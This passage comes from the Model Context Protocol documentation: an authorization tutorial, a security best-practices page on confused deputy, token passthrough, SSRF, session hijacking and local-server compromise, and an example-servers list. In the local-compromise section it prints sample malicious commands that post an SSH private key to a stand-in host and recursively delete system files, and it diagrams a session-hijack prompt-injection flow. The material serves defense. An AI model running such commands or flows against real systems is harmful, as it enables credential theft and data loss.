new[] { normalizedServerAudience, serverUrl }, + AudienceValidator = (audiences, securityToken, validationParameters) => + { + if (audiences == null) return false; + foreach (var aud in audiences) + { + if (string.Equals(aud.TrimEnd('/'), normalizedServerAudience, StringComparison.OrdinalIgnoreCase)) + { + return true; + } + } + return false; + } + }; + + options.RequireHttpsMetadata = false; // Set to true in production + + options.Events = new JwtBearerEvents + { + OnTokenValidated = context => + { + var name = context.Principal?.Identity?.Name ?? "unknown"; + var email = context.Principal?.FindFirstValue("preferred_username") ?? "unknown"; + Console.WriteLine($"Token validated for: {name} ({email})"); + return Task.CompletedTask; + }, + OnAuthenticationFailed = context => + { + Console.WriteLine($"Authentication failed: {context.Exception.Message}"); + return Task.CompletedTask; + }, + }; + }) + .AddMcp(options => + { + options.ResourceMetadata = new() + { + Resource = new Uri(serverUrl), + ResourceDocumentation = new Uri("https://docs.example.com/api/math"), + AuthorizationServers = { new Uri(authorizationServerUrl) }, + ScopesSupported = ["mcp:tools"] + }; + }); + + builder.Services.AddAuthorization(); + + builder.Services.AddHttpContextAccessor(); + builder.Services.AddMcpServer() + .WithTools() + .WithHttpTransport(); + + var app = builder.Build(); + + app.UseAuthentication(); + app.UseAuthorization(); + + app.MapMcp().RequireAuthorization(); + + Console.WriteLine($"Starting MCP server with authorization at {serverUrl}"); + Console.WriteLine($"Using Keycloak server at {authorizationServerUrl}"); + Console.WriteLine($"Protected Resource Metadata URL: {serverUrl}.well-known/oauth-protected-resource"); + Console.WriteLine("Exposed Math tools: Add, Multiply"); + Console.WriteLine("Press Ctrl+C to stop the server"); + + app.Run(serverUrl); + ``` + + For more details, see the [C# SDK documentation](https://github.com/modelcontextprotocol/csharp-sdk). + + + +## Testing the MCP Server + +For testing purposes, we will be using [Visual Studio Code](https://code.visualstudio.com), but any client that supports MCP and the new authorization specification will fit. + +Press Cmd + Shift + P and select **MCP: Add server...**. Select **HTTP** and enter `http://localhost:3000`. Give the server a unique name to be used inside Visual Studio Code. In `mcp.json` you should now see an entry like this: + +```json theme={null} +"my-mcp-server-18676652": { + "url": "http://localhost:3000", + "type": "http" +} +``` + +On connection, you will be taken to the browser, where you will be prompted to consent to Visual Studio Code having access to the `mcp:tools` scope. + + + Keycloak consent form for VS Code. + + +After consenting, you will see the tools listed right above the server entry in `mcp.json`. + + + Tools listed in VS Code. + + +You will be able to invoke individual tools with the help of the `#` sign in the chat view. + + + Invoking MCP tools in VS Code. + + +## Common Pitfalls and How to Avoid Them + +For comprehensive security guidance, including attack vectors, mitigation strategies, and implementation best practices, make sure to read through [Security Best Practices](/specification/draft/basic/security_best_practices). A few key issues are called out below. + +* **Do not implement token validation or authorization logic by yourself**. Use off-the-shelf, well-tested, and secure libraries for things like token validation or authorization decisions. Doing everything from scratch means that you're more likely to implement things incorrectly unless you are a security expert. +* **Use short-lived access tokens**. Depending on the authorization server used, this setting might be customizable. We recommend to not use long-lived tokens - if a malicious actor steals them, they will be able to maintain their access for longer periods. +* **Always validate tokens**. Just because your server received a token does not mean that the token is valid or that it's meant for your server. Always verify that what your MCP server is getting from the client matches the required constraints. +* **Store tokens in secure, encrypted storage**. In certain scenarios, you might need to cache tokens server-side. If that is the case, ensure that the storage has the right access controls and cannot be easily exfiltrated by malicious parties with access to your server. You should also implement robust cache eviction policies to ensure that your MCP server is not re-using expired or otherwise invalid tokens. +* **Enforce HTTPS in production**. Do not accept tokens or redirect callbacks over plain HTTP except for `localhost` during development. +* **Least-privilege scopes**. Don't use catch‑all scopes. Split access per tool or capability where possible and verify required scopes per route/tool on the resource server. +* **Don't log credentials**. Never log `Authorization` headers, tokens, codes, or secrets. Scrub query strings and headers. Redact sensitive fields in structured logs. +* **Separate app vs. resource server credentials**. Don't reuse your MCP server's client secret for end‑user flows. Store all secrets in a proper secret manager, not in source control. +* **Return proper challenges**. On 401, include `WWW-Authenticate` with `Bearer`, `realm`, and `resource_metadata` so clients can discover how to authenticate. +* **DCR (Dynamic Client Registration) controls**. If enabled, be aware of constraints specific to your organization, such as trusted hosts, required vetting, and audited registrations. Unauthenticated DCR means that anyone can register any client with your authorization server. +* **Multi‑tenant/realm mix-ups**. Pin to a single issuer/tenant unless explicitly multi‑tenant. Reject tokens from other realms even if signed by the same authorization server. +* **Audience/resource indicator misuse**. Don't configure or accept generic audiences (like `api`) or unrelated resources. Require the audience/resource to match your configured server. +* **Error detail leakage**. Return generic messages to clients, but log detailed reasons with correlation IDs internally to aid troubleshooting without exposing internals. +* **Session identifier hardening**. Treat `Mcp-Session-Id` as untrusted input; never tie authorization to it. Regenerate on auth changes and validate lifecycle server‑side. + +## Related Standards and Documentation + +MCP authorization builds on these well-established standards: + +* **[OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)**: The core authorization framework +* **[RFC 8414](https://datatracker.ietf.org/doc/html/rfc8414)**: Authorization Server Metadata discovery +* **[RFC 7591](https://datatracker.ietf.org/doc/html/rfc7591)**: Dynamic Client Registration +* **[RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728)**: Protected Resource Metadata +* **[RFC 8707](https://datatracker.ietf.org/doc/html/rfc8707)**: Resource Indicators + +For additional details, refer to: + +* [Authorization Specification](/specification/draft/basic/authorization) +* [Security Best Practices](/specification/draft/basic/security_best_practices) +* [Available MCP SDKs](/docs/sdk) + +Understanding these standards will help you implement authorization correctly and troubleshoot issues when they arise. + + +# Security Best Practices +Source: https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices + +Security considerations, attack vectors, and best practices for MCP implementations + +## Introduction + +### Purpose and Scope + +This document provides security considerations for the Model Context +Protocol (MCP), complementing the +[MCP Authorization](/specification/latest/basic/authorization) +specification. This document identifies security risks, attack vectors, +and best practices specific to MCP implementations. + +The primary audience for this document includes developers implementing +MCP authorization flows, MCP server operators, and security +professionals evaluating MCP-based systems. This document should be read +alongside the MCP Authorization specification and +[OAuth 2.0 security best practices](https://datatracker.ietf.org/doc/html/rfc9700). + +## Attacks and Mitigations + +This section gives a detailed description of attacks on MCP +implementations, along with potential countermeasures. + +### Confused Deputy Problem + +Attackers can exploit MCP proxy servers that connect to third-party +APIs, creating +"[confused deputy](https://en.wikipedia.org/wiki/Confused_deputy_problem)" +vulnerabilities. This attack allows malicious clients to obtain +authorization codes without proper user consent by exploiting the +combination of static client IDs, dynamic client registration, and +consent cookies. + +#### Terminology + +**MCP Proxy Server** +: An MCP server that connects MCP clients to third-party APIs, offering +MCP features while delegating operations and acting as a single OAuth +client to the third-party API server. + +**Third-Party Authorization Server** +: Authorization server that protects the third-party API. It may lack +dynamic client registration support, requiring the MCP proxy to use a +static client ID for all requests. + +**Third-Party API** +: The protected resource server that provides the actual API +functionality. Access to this API requires tokens issued by the +third-party authorization server. + +**Static Client ID** +: A fixed OAuth 2.0 client identifier used by the MCP proxy server when +communicating with the third-party authorization server. This Client ID +refers to the MCP server acting as a client to the Third-Party API. It +is the same value for all MCP server to Third-Party API interactions +regardless of which MCP client initiated the request. + +#### Vulnerable Conditions + +This attack becomes possible when all of the following conditions are +present: + +* MCP proxy server uses a **static client ID** with a third-party + authorization server +* MCP proxy server allows MCP clients to **dynamically register** (each + getting their own client\_id) +* The third-party authorization server sets a **consent cookie** after + the first authorization +* MCP proxy server does not implement proper per-client consent before + forwarding to third-party authorization + +#### Architecture and Attack Flows + +##### Normal OAuth proxy usage (preserves user consent) + +```mermaid theme={null} +sequenceDiagram + participant UA as User-Agent (Browser) + participant MC as MCP Client + participant M as MCP Proxy Server + participant TAS as Third-Party Authorization Server + + Note over UA,M: Initial Auth flow completed + + Note over UA,TAS: Step 1: Legitimate user consent for Third Party Server + + M->>UA: Redirect to third party authorization server + UA->>TAS: Authorization request (client_id: mcp-proxy) + TAS->>UA: Authorization consent screen + Note over UA: Review consent screen + UA->>TAS: Approve + TAS->>UA: Set consent cookie for client ID: mcp-proxy + TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com + UA->>M: 3P Authorization code + Note over M,TAS: Exchange 3P code for 3P token + Note over M: Generate MCP authorization code + M->>UA: Redirect to MCP Client with MCP authorization code + + Note over M,UA: Exchange code for token, etc. +``` + +##### Malicious OAuth proxy usage (skips user consent) + +```mermaid theme={null} +sequenceDiagram + participant UA as User-Agent (Browser) + participant M as MCP Proxy Server + participant TAS as Third-Party Authorization Server + participant A as Attacker + + + Note over UA,A: Step 2: Attack (leveraging existing cookie, skipping consent) + A->>M: Dynamically register malicious client, redirect_uri: attacker.com + A->>UA: Sends malicious link + UA->>TAS: Authorization request (client_id: mcp-proxy) + consent cookie + rect rgba(255, 17, 0, 0.67) + TAS->>TAS: Cookie present, consent skipped + end + + TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com + UA->>M: 3P Authorization code + Note over M,TAS: Exchange 3P code for 3P token + Note over M: Generate MCP authorization code + M->>UA: Redirect to attacker.com with MCP Authorization code + UA->>A: MCP Authorization code delivered to attacker.com + Note over M,A: Attacker exchanges MCP code for MCP token + A->>M: Attacker impersonates user to MCP server +``` + +#### Attack Description + +When an MCP proxy server uses a static client ID to authenticate with +a third-party authorization server, the following attack becomes +possible: + +1. A user authenticates normally through the MCP proxy server to access + the third-party API +2. During this flow, the third-party authorization server sets a cookie + on the user agent indicating consent for the static client ID +3. An attacker later sends the user a malicious link containing a + crafted authorization request which contains a malicious redirect URI + along with a new dynamically registered client ID +4. When the user clicks the link, their browser still has the consent + cookie from the previous legitimate request +5. The third-party authorization server detects the cookie and skips the + consent screen +6. The MCP authorization code is redirected to the attacker's server + (specified in the malicious `redirect_uri` parameter during + [dynamic client registration](/specification/latest/basic/authorization#dynamic-client-registration)) +7. The attacker exchanges the stolen authorization code for access + tokens for the MCP server without the user's explicit approval +8. The attacker now has access to the third-party API as the compromised + user + +#### Mitigation + +To prevent confused deputy attacks, MCP proxy servers **MUST** implement +per-client consent and proper security controls as detailed below. + +##### Consent Flow Implementation + +The following diagram shows how to properly implement per-client consent +that runs **before** the third-party authorization flow: + +```mermaid theme={null} +sequenceDiagram + participant Client as MCP Client + participant Browser as User's Browser + participant MCP as MCP Server + participant ThirdParty as Third-Party AuthZ Server + + Note over Client,ThirdParty: 1. Client Registration (Dynamic) + Client->>MCP: Register with redirect_uri + MCP-->>Client: client_id + + Note over Client,ThirdParty: 2. Authorization Request + Client->>Browser: Open MCP server authorization URL + Browser->>MCP: GET /authorize?client_id=...&redirect_uri=... + + alt Check MCP Server Consent + MCP->>MCP: Check consent for this client_id + Note over MCP: Not previously approved + end + + MCP->>Browser: Show MCP server-owned consent page + Note over Browser: "Allow [Client Name] to access [Third-Party API]?" + Browser->>MCP: POST /consent (approve) + MCP->>MCP: Store consent decision for client_id + + Note over Client,ThirdParty: 3. Forward to Third-Party + MCP->>Browser: Redirect to third-party /authorize + Note over MCP: Use static client_id for third-party + + Browser->>ThirdParty: Authorization request (static client_id) + ThirdParty->>Browser: User authenticates & consents + ThirdParty->>Browser: Redirect with auth code + + Browser->>MCP: Callback with third-party code + MCP->>ThirdParty: Exchange code for token (using static client_id) + MCP->>Browser: Redirect to client's registered redirect_uri +``` + +##### Required Protections + +**Per-Client Consent Storage** + +MCP proxy servers **MUST**: + +* Maintain a registry of approved `client_id` values per user +* Check this registry **before** initiating the third-party + authorization flow +* Store consent decisions securely (server-side database, or server + specific cookies) + +**Consent UI Requirements** + +The MCP-level consent page **MUST**: + +* Clearly identify the requesting MCP client by name +* Display the specific third-party API scopes being requested +* Show the registered `redirect_uri` where tokens will be sent +* Implement CSRF protection (e.g., state parameter, CSRF tokens) +* Prevent iframing via `frame-ancestors` CSP directive or + `X-Frame-Options: DENY` to prevent clickjacking + +**Consent Cookie Security** + +If using cookies to track consent decisions, they **MUST**: + +* Use `__Host-` prefix for cookie names +* Set `Secure`, `HttpOnly`, and `SameSite=Lax` attributes +* Be cryptographically signed or use server-side sessions +* Bind to the specific `client_id` (not just "user has consented") + +**Redirect URI Validation** + +The MCP proxy server **MUST**: + +* Validate that the `redirect_uri` in authorization requests exactly + matches the registered URI +* Reject requests if the `redirect_uri` has changed without + re-registration +* Use exact string matching (not pattern matching or wildcards) + +**OAuth State Parameter Validation** + +The OAuth `state` parameter is critical to prevent authorization code +interception and CSRF attacks. Proper state validation ensures that +consent approval at the authorization endpoint is enforced at the +callback endpoint. + +MCP proxy servers implementing OAuth flows **MUST**: + +* Generate a cryptographically secure random `state` value for each + authorization request +* Store the `state` value server-side (in a secure session store or + encrypted cookie) **only after** consent has been explicitly approved +* Set the `state` tracking cookie/session **immediately before** + redirecting to the third-party identity provider (not before consent + approval) +* Validate at the callback endpoint that the `state` query parameter + exactly matches the stored value in the callback request's cookies or + in the request's cookie-based session +* Reject any callback requests where the `state` parameter is missing + or does not match +* Ensure `state` values are single-use (delete after validation) and + have a short expiration time (e.g., 10 minutes) + +The consent cookie or session containing the `state` value **MUST NOT** +be set until **after** the user has approved the consent screen at the +MCP server's authorization endpoint. Setting this cookie before consent +approval renders the consent screen ineffective, as an attacker could +bypass it by crafting a malicious authorization request. + +### Token Passthrough + +"Token passthrough" is an anti-pattern where an MCP server accepts +tokens from an MCP client without validating that the tokens were +properly issued *to the MCP server* and passes them through to the +downstream API. + +#### Risks + +Token passthrough is explicitly forbidden in the +[authorization specification](/specification/latest/basic/authorization) +as it introduces a number of security risks, that include: + +* **Security Control Circumvention** + * The MCP Server or downstream APIs might implement important security + controls like rate limiting, request validation, or traffic + monitoring, that depend on the token audience or other credential + constraints. If clients can obtain and use tokens directly with the + downstream APIs without the MCP server validating them properly or + ensuring that the tokens are issued for the right service, they + bypass these controls. +* **Accountability and Audit Trail Issues** + * The MCP Server will be unable to identify or distinguish between MCP + Clients when clients are calling with an upstream-issued access token + which may be opaque to the MCP Server. + * The downstream Resource Server's logs may show requests that appear + to come from a different source with a different identity, rather + than the MCP server that is actually forwarding the tokens. + * Both factors make incident investigation, controls, and auditing + more difficult. + * If the MCP Server passes tokens without validating their claims + (e.g., roles, privileges, or audience) or other metadata, a + malicious actor in possession of a stolen token can use the server + as a proxy for data exfiltration. +* **Trust Boundary Issues** + * The downstream Resource Server grants trust to specific entities. + This trust might include assumptions about origin or client behavior + patterns. Breaking this trust boundary could lead to unexpected + issues. + * If the token is accepted by multiple services without proper + validation, an attacker compromising one service can use the token + to access other connected services. +* **Future Compatibility Risk** + * Even if an MCP Server starts as a "pure proxy" today, it might need + to add security controls later. Starting with proper token audience + separation makes it easier to evolve the security model. + +#### Mitigation + +MCP servers **MUST NOT** accept any tokens that were not explicitly +issued for the MCP server. + +### Server-Side Request Forgery (SSRF) + +Server-Side Request Forgery (SSRF) is an attack where an attacker can +induce an MCP client to make HTTP requests to unintended destinations, +potentially accessing internal network resources, cloud metadata +endpoints, or other protected services. + +#### Attack Description + +During OAuth metadata discovery, MCP clients fetch URLs from several +sources that could be controlled by a malicious MCP server: + +1. The `resource_metadata` URL from the `WWW-Authenticate` header +2. The `authorization_servers` URLs from the Protected Resource Metadata + document +3. The `token_endpoint`, `authorization_endpoint`, and other URLs from + Authorization Server Metadata + +A malicious MCP server can populate these fields with URLs pointing to +internal resources, enabling the following attack patterns: + +* **Direct internal IP access**: URLs like `http://192.168.1.1/admin` or + `http://10.0.0.1/api` target internal network services +* **Cloud metadata endpoints**: URLs targeting + `http://169.254.169.254/` (AWS/GCP/Azure metadata service) can + exfiltrate cloud credentials and instance information +* **Localhost services**: URLs like `http://localhost:6379/` can interact + with local services (Redis, databases, admin panels) +* **DNS rebinding**: Domains that change DNS resolution between + validation and use (e.g., `https://attacker.com` resolving to a safe + IP initially, then to `192.168.1.1`) +* **Redirect chains**: Normal-looking URLs that redirect to internal + resources + +```mermaid theme={null} +sequenceDiagram + participant Client as MCP Client + participant MCP as Malicious MCP Server + participant Internal as Internal Service + + Client->>MCP: Connect to MCP server + MCP-->>Client: 401 + resource_metadata="http://169.254.169.254/..." + + Note over Client: Client follows URL without validation + Client->>Internal: GET http://169.254.169.254/latest/meta-data/ + Internal-->>Client: Cloud credentials/metadata + + Note over Client: Error or response details leak to attacker + Client->>MCP: Subsequent request with error details +``` + +#### Risks + +* **Credential exfiltration**: Cloud metadata endpoints often expose + IAM credentials, API keys, and other secrets +* **Internal network reconnaissance**: Error messages reveal information + about internal network topology and services +* **Service interaction**: POST requests (e.g., to token endpoints) can + trigger mutations on internal services +* **Firewall bypass**: The MCP client acts as a proxy, bypassing network + perimeter controls +* **Data exfiltration**: Internal service responses may be reflected back + to attackers through error messages or OAuth flows + +#### Mitigation + +MCP clients deployed to a server **MUST** consider SSRF risks and +implement appropriate mitigations when fetching OAuth-related URLs. +Which protections are appropriate depend on your network environment. + +**Enforce HTTPS** + +MCP clients **SHOULD** require HTTPS for all OAuth-related URLs in +production environments: + +* Reject `http://` URLs except for loopback addresses (`localhost`, + `127.0.0.1`, `::1`) during development +* This aligns with + [OAuth 2.1 Section 1.5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-1.5) + which requires HTTPS for all OAuth protocol URLs except loopback + redirect URIs +* Provide an explicit opt-out mechanism for development/testing + scenarios + +**Block Private IP Ranges** + +MCP clients **SHOULD** block requests to private and reserved IP address +ranges as recommended by +[RFC 9728 Section 7.7](https://datatracker.ietf.org/doc/html/rfc9728#section-7.7): + +* Private IPv4 ranges: `10.0.0.0/8`, `172.16.0.0/12`, + `192.168.0.0/16` +* Loopback: `127.0.0.0/8`, `::1` (except when explicitly allowed for + development) +* Link-local: `169.254.0.0/16` (including cloud metadata endpoints) +* Private IPv6 ranges: `fc00::/7`, `fe80::/10` + + + Avoid implementing IP validation manually. Attackers exploit encoding tricks + (octal, hex, IPv4-mapped IPv6) that custom parsers often miss. + + +**Validate Redirect Targets** + +MCP clients **SHOULD** apply the same URL validation to redirect +targets: + +* Do not blindly follow redirects to internal resources +* Apply HTTPS and IP range restrictions to redirect destinations +* Consider disabling automatic redirect following and validating each + hop + +**Use Egress Proxies** + +For server-side MCP client deployments, operators **SHOULD** consider +using an egress proxy that enforces network policies: + +* Route OAuth discovery requests through a proxy that blocks internal + destinations +* Use tools like + [Smokescreen](https://github.com/stripe/smokescreen) or similar + egress proxies that prevent SSRF by design +* Configure network policies to restrict the MCP client's outbound + access + +**DNS Resolution Considerations** + +Be aware of Time-of-Check to Time-of-Use (TOCTOU) issues with +DNS-based validation: + +* An attacker's domain may resolve to a safe IP during validation but + to an internal IP during the actual request +* Consider pinning DNS resolution results between check and use +* Defense in depth: combine DNS checks with other mitigations + +#### Resources and Tools + +The following resources can help developers implement SSRF protections +in MCP clients. + +**Reference Documentation** + +* [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html): + Comprehensive guidance on SSRF prevention techniques, including input + validation, allowlist strategies, and network-level controls +* [OWASP Top 10 A10:2021 - SSRF](https://owasp.org/Top10/2021/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/): + SSRF in the context of the most critical web application security + risks + +### Session Hijacking + +Session hijacking is an attack vector where a client is provided a +session ID by the server, and an unauthorized party is able to obtain +and use that same session ID to impersonate the original client and +perform unauthorized actions on their behalf. + +#### Session Hijack Prompt Injection + +```mermaid theme={null} +sequenceDiagram + participant Client + participant ServerA + participant Queue + participant ServerB + participant Attacker + + Client->>ServerA: Initialize (connect to streamable HTTP server) + ServerA-->>Client: Respond with session ID + + Attacker->>ServerB: Access/guess session ID + Note right of Attacker: Attacker knows/guesses session ID + + Attacker->>ServerB: Trigger event (malicious payload, using session ID) + ServerB->>Queue: Enqueue event (keyed by session ID) + + ServerA->>Queue: Poll for events (using session ID) + Queue-->>ServerA: Event data (malicious payload) + + ServerA-->>Client: Async response (malicious payload) + Client->>Client: Acts based on malicious payload +``` + +#### Session Hijack Impersonation + +```mermaid theme={null} +sequenceDiagram + participant Client + participant Server + participant Attacker + + Client->>Server: Initialize (login/authenticate) + Server-->>Client: Respond with session ID (persistent session created) + + Attacker->>Server: Access/guess session ID + Note right of Attacker: Attacker knows/guesses session ID + + Attacker->>Server: Make API call (using session ID, no re-auth) + Server-->>Attacker: Respond as if Attacker is Client (session hijack) +``` + +#### Attack Description + +When you have multiple stateful HTTP servers that handle MCP requests, +the following attack vectors are possible: + +**Session Hijack Prompt Injection** + +1. The client connects to **Server A** and receives a session ID. + +2. The attacker obtains an existing session ID and sends a malicious + event to **Server B** with said session ID. + * When a server supports + [redelivery/resumable streams](/specification/latest/basic/transports#resumability-and-redelivery), + deliberately terminating the request before receiving the response + could lead to it being resumed by the original client via the GET + request for server sent events. + * If a particular server initiates server sent events as a + consequence of a tool call such as a + `notifications/tools/list_changed`, where it is possible to affect + the tools that are offered by the server, a client could end up + with tools that they were not aware were enabled. + +3. **Server B** enqueues the event (associated with session ID) into a + shared queue. + +4. **Server A** polls the queue for events using the session ID and + retrieves the malicious payload. + +5. **Server A** sends the malicious payload to the client as an + asynchronous or resumed response. + +6. The client receives and acts on the malicious payload, leading to + potential compromise. + +**Session Hijack Impersonation** + +1. The MCP client authenticates with the MCP server, creating a + persistent session ID. +2. The attacker obtains the session ID. +3. The attacker makes calls to the MCP server using the session ID. +4. MCP server does not check for additional authorization and treats the + attacker as a legitimate user, allowing unauthorized access or + actions. + +#### Mitigation + +To prevent session hijacking and event injection attacks, the following +mitigations should be implemented: + +MCP servers that implement authorization **MUST** verify all inbound +requests. MCP Servers **MUST NOT** use sessions for authentication. + +MCP servers **MUST** use secure, non-deterministic session IDs. +Generated session IDs (e.g., UUIDs) **SHOULD** use secure random number +generators. Avoid predictable or sequential session identifiers that +could be guessed by an attacker. Rotating or expiring session IDs can +also reduce the risk. + +MCP servers **SHOULD** bind session IDs to user-specific information. +When storing or transmitting session-related data (e.g., in a queue), +combine the session ID with information unique to the authorized user, +such as their internal user ID. Use a key format like +`:`. This ensures that even if an attacker guesses +a session ID, they cannot impersonate another user as the user ID is +derived from the user token and not provided by the client. + +MCP servers can optionally leverage additional unique identifiers. + +### Local MCP Server Compromise + +Local MCP servers are MCP Servers running on a user's local machine, +either by the user downloading and executing a server, authoring a +server themselves, or installing through a client's configuration flows. +These servers may have direct access to the user's system and may be +accessible to other processes running on the user's machine, making them +attractive targets for attacks. + +#### Attack Description + +Local MCP servers are binaries that are downloaded and executed on the +same machine as the MCP client. Without proper sandboxing and consent +requirements in place, the following attacks become possible: + +1. An attacker includes a malicious "startup" command in a client + configuration +2. An attacker distributes a malicious payload inside the server itself +3. An attacker accesses an insecure local server that's left running on + localhost via DNS rebinding + +Example malicious startup commands that could be embedded: + +```bash theme={null} +# Data exfiltration +npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location + +# Privilege escalation +sudo rm -rf /important/system/files && echo "MCP server installed!" +``` + +#### Risks + +Local MCP servers with inadequate restrictions or from untrusted sources +introduce several critical security risks: + +* **Arbitrary code execution**. Attackers can execute any command with + MCP client privileges. +* **No visibility**. Users have no insight into what commands are being + executed. +* **Command obfuscation**. Malicious actors can use complex or + convoluted commands to appear legitimate. +* **Data exfiltration**. Attackers can access legitimate local MCP + servers via compromised JavaScript. +* **Data loss**. Attackers or bugs in legitimate servers could lead to + irrecoverable data loss on the host machine. + +#### Mitigation + +If an MCP client supports one-click local MCP server configuration, it +**MUST** implement proper consent mechanisms prior to executing commands. + +**Pre-Configuration Consent** + +Display a clear consent dialog before connecting a new local MCP server +via one-click configuration. The MCP client **MUST**: + +* Show the exact command that will be executed, without truncation + (include arguments and parameters) +* Clearly identify it as a potentially dangerous operation that executes + code on the user's system +* Require explicit user approval before proceeding +* Allow users to cancel the configuration + +The MCP client **SHOULD** implement additional checks and guardrails to +mitigate potential code execution attack vectors: + +* Highlight potentially dangerous command patterns (e.g., commands + containing `sudo`, `rm -rf`, network operations, file system access + outside expected directories) +* Display warnings for commands that access sensitive locations (home + directory, SSH keys, system directories) +* Warn that MCP servers run with the same privileges as the client +* Execute MCP server commands in a sandboxed environment with minimal + default privileges +* Launch MCP servers with restricted access to the file system, network, + and other system resources +* Provide mechanisms for users to explicitly grant additional privileges + (e.g., specific directory access, network access) when needed +* Use platform-appropriate sandboxing technologies (containers, chroot, + application sandboxes, etc.) +* Keep sandboxing solutions up-to-date to account for emerging + vulnerabilities + +MCP servers intending for their servers to be run locally **SHOULD** +implement measures to prevent unauthorized usage from malicious +processes: + +* Use the `stdio` transport to limit access to just the MCP client +* Restrict access if using an HTTP transport, such as: + * Require an authorization token + * Use unix domain sockets or other Interprocess Communication (IPC) + mechanisms with restricted access + +### Scope Minimization + +Poor scope design increases token compromise impact, elevates user +friction, and obscures audit trails. + +#### Attack Description + +An attacker obtains (via log leakage, memory scraping, or local +interception) an access token carrying broad scopes (`files:*`, `db:*`, +`admin:*`) that were granted up front because the MCP server exposed +every scope in `scopes_supported` and the client requested them all. +The token enables lateral data access, privilege chaining, and difficult +revocation without re-consenting the entire surface. + +#### Risks + +* Expanded blast radius: stolen broad token enables unrelated + tool/resource access +* Higher friction on revocation: revoking a max-privilege token disrupts + all workflows +* Audit noise: single omnibus scope masks user intent per operation +* Privilege chaining: attacker can immediately invoke high-risk tools + without further elevation prompts +* Consent abandonment: users decline dialogs listing excessive scopes +* Scope inflation blindness: lack of metrics makes over-broad requests + normalised + +#### Mitigation + +Implement a progressive, least-privilege scope model: + +* Minimal initial scope set (e.g., `mcp:tools-basic`) containing only + low-risk discovery/read operations +* Incremental elevation via targeted `WWW-Authenticate` `scope="..."` + challenges when privileged operations are first attempted +* Down-scoping tolerance: server should accept reduced scope tokens; + auth server MAY issue a subset of requested scopes + +Server guidance: + +* Emit precise scope challenges; avoid returning the full catalog +* Log elevation events (scope requested, granted subset) with + correlation IDs + +Client guidance: + +* Begin with only baseline scopes (or those specified by initial + `WWW-Authenticate`) +* Cache recent failures to avoid repeated elevation loops for denied + scopes + +#### Common Mistakes + +* Publishing all possible scopes in `scopes_supported` +* Using wildcard or omnibus scopes (`*`, `all`, `full-access`) +* Bundling unrelated privileges to preempt future prompts +* Returning entire scope catalog in every challenge +* Silent scope semantic changes without versioning +* Treating claimed scopes in token as sufficient without server-side + authorization logic + +Proper minimization constrains compromise impact, improves audit +clarity, and reduces consent churn. + + +# Example Servers +Source: https://modelcontextprotocol.io/examples + +A list of example servers and implementations + +This page showcases various Model Context Protocol (MCP) servers that demonstrate the protocol's capabilities and versatility. These servers enable Large Language Models (LLMs) to securely access tools and data sources. + +## Reference implementations + +These official reference servers demonstrate core MCP features and SDK usage: + +### Current reference servers + +* **[Everything](https://github.com/modelcontextprotocol/servers/tree/main/src/everything)** - Reference / test server with prompts, resources, and tools +* **[Fetch](https://github.com/modelcontextprotocol/servers/tree/main/src/fetch)** - Web content fetching and conversion for efficient LLM usage +* **[Filesystem](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem)** - Secure file operations with configurable access controls +* **[Git](https://github.com/modelcontextprotocol/servers/tree/main/src/git)** - Tools to read, search, and manipulate Git repositories +* **[Memory](https://github.com/modelcontextprotocol/servers/tree/main/src/memory)** - Knowledge graph-based persistent memory system +* **[Sequential Thinking](https://github.com/modelcontextprotocol/servers/tree/main/src/sequentialthinking)** - Dynamic and reflective problem-solving through thought sequences +* **[Time](https://github.com/modelcontextprotocol/servers/tree/main/src/time)** - Time and timezone conversion capabilities + +### Additional example servers (archived) + +Visit the [servers-archived repository](https://github.com/modelcontextprotocol/servers-archived) to get access to archived example servers that are no longer actively maintained. + +They are provided for historical reference only. + +## Official integrations + +Visit the [MCP Servers Repository (Official Integrations section)](https://github.com/modelcontextprotocol/servers?tab=readme-ov-file#%EF%B8%8F-official-integrations) for a list of MCP servers maintained by companies for their platforms. + +## Community implementations + +Visit the [MCP Servers Repository (Community section)](https://github.com/modelcontextprotocol/servers?tab=readme-ov-file#-community-servers) for a list of MCP servers maintained by community members. + +## Getting started + +### Using reference servers + +TypeScript-based servers can be used directly with `npx`: + +```bash theme={null} +npx -y @modelcontextprotocol/server-memory +``` + +Python-based servers can be used with `uvx` (recommended) or `pip`: + +```bash theme={null} +# Using uvx +uvx mcp-server-git + +# Using pip +pip install mcp-server-git +python -m mcp_server_git +``` + +### Configuring with Claude + +To use an MCP server with Claude, add it to your configuration: + +```json theme={null} +{ + "mcpServers": { + "memory": { + "command": "npx", + "args": ["-y", "@modelcontextprotocol/server-memory"] + }, + "filesystem": { + "command": "npx", + "args": [ + "-y", + "@modelcontextprotocol/server-filesystem", + "/path/to/allowed/files" + ] + }, + "github": { + "command": "npx", + "args": ["-y", "@modelcontextprotocol/server-github"], + "env": { + "GITHUB_PERSONAL_ACCESS_TOKEN": "" + } + } + } +} +``` + +## Additional resources + +Visit the [MCP Servers Repository (Resources section)](https://github.com/modelcontextprotocol/servers?tab=readme-ov-file#-resources) for a collection of other resources and projects related to MCP. + +Visit our [GitHub Discussions](https://github.com/orgs/modelcontextprotocol/discussions) to engage with the MCP community. + + +# Build an MCP App +Source: https://modelcontextprotocol.io/extensions/apps/build + +Getting started guide for building interactive UI applications with MCP Apps + +## Prerequisites + +You'll need [Node.js](https://nodejs.org/en/download) 18 or higher. Familiarity +with [MCP tools](/specification/latest/server/tools) and +[resources](/specification/latest/server/resources) is recommended since MCP +Apps combine both primitives. Experience with the +[MCP TypeScript SDK](https://github.com/modelcontextprotocol/typescript-sdk) +will help you better understand the server-side patterns. + +## Getting started + +The fastest way to create an MCP App is using an AI coding agent with the MCP +Apps skill. If you prefer to set up a project manually, skip to +[Manual setup](#manual-setup). + +### Using an AI coding agent + +AI coding agents with Skills support can scaffold a complete MCP App project for +you. Skills are folders of instructions and resources that your agent loads when +relevant. They teach the AI how to perform specialized tasks like creating MCP +Apps. + +The `create-mcp-app` skill includes architecture guidance, best practices, and +working examples that the agent uses to 